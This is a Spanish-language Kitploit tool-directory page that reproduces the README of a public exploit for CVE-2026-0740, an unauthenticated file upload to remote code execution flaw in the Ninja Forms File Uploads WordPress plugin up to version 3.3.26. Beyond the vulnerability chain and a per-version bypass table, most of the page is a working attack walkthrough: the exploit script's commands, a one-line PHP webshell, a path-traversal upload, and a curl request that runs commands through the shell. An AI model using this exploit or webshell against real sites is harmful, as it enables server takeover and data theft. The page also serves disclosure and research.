Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-0740 — Ninja Forms File Uploads <= 3.3.26 - Carga de archivos arbitraria no autenticada a RCE (CVE-2026-0740) | Kitploit
Herramientas/GitHubGitHub/whattheslime/cve-2026-0740
Generación de PayloadsAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubwhattheslime/cve-2026-0740

CVE-2026-0740

Ninja Forms File Uploads <= 3.3.26 - Carga de archivos arbitraria no autenticada a RCE (CVE-2026-0740)

Ver Repositorio
1214hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-0740

Ninja Forms File Uploads <= 3.3.26 - Subida de archivos arbitraria no autenticada a RCE

Exploit para CVE-2026-0740 descubierta por Selim Lanouar (whattheslime).

Para una inmersión técnica completa, lea el artículo completo en el blog de Lexfo.

Descargo de responsabilidad

Este repositorio se proporciona únicamente con fines de investigación y seguridad defensiva.

El autor no asume ninguna responsabilidad por el mal uso de esta información.


Resumen

El plugin Ninja Forms - File Uploads para WordPress es vulnerable a Subida de archivos arbitraria no autenticada que conduce a Ejecución remota de código en todas las versiones hasta la 3.3.26 inclusive.

La vulnerabilidad fue descubierta e informada originalmente en la versión 3.3.23. La explotación es sencilla hasta la versión 3.3.24 (sin validación en el nombre de archivo de destino). Las versiones 3.3.25 y 3.3.26 introdujeron parches parciales sucesivos, pero el problema se resuelve por completo solo en la versión 3.3.27.

La cadena de vulnerabilidad es la siguiente:

  1. Un usuario no autenticado obtiene un nonce de carga válido a través de la acción AJAX nf_fu_get_new_nonce con un field_id arbitrario.
  2. El controlador nf_fu_upload valida la extensión del archivo cargado (por ejemplo, image.jpg), pero permite al cliente sobrescribir el nombre de archivo de destino mediante un parámetro POST (image_jpg).
  3. El nombre de archivo de destino se pasa a move_uploaded_file() sin una sanitización adecuada, lo que permite extensiones arbitrarias y path traversal (../).
Vector / Extensión<= 3.3.243.3.253.3.263.3.27
Path traversal (../)PASS---
.phpPASS---
.phtml, .pharPASSPASS--
.phtPASSPASSPASS-
.html, .svg, .jsPASSPASSPASS-

Consulte la publicación completa del blog para obtener la tabla de extensiones completa y la inmersión técnica.


Explotación

Requisitos previos

  • Plugin Ninja Forms instalado y activado.
  • Extensión Ninja Forms - File Uploads instalada y activada (<= 3.3.26).
  • No se requiere un formulario activo ni un campo de carga de archivos preexistente.

Configuración

python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h

Subir un archivo (sin path traversal)

python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt

El archivo se escribirá en wp-content/uploads/ninja-forms/tmp/test.txt.

Subir con path traversal (<= 3.3.24)

python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php

El archivo se escribirá en wp-content/webshell.php.

Subir con nombre de archivo de destino personalizado

python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess

Ejemplo

# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]

# 2. Write webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php

# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php

# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Referencias

  • Publicación del blog - Inmersión técnica
  • CVE-2026-0740
  • Wordfence - 50,000 sitios de WordPress afectados
  • Wordfence - Detalles de la vulnerabilidad
Descargar herramienta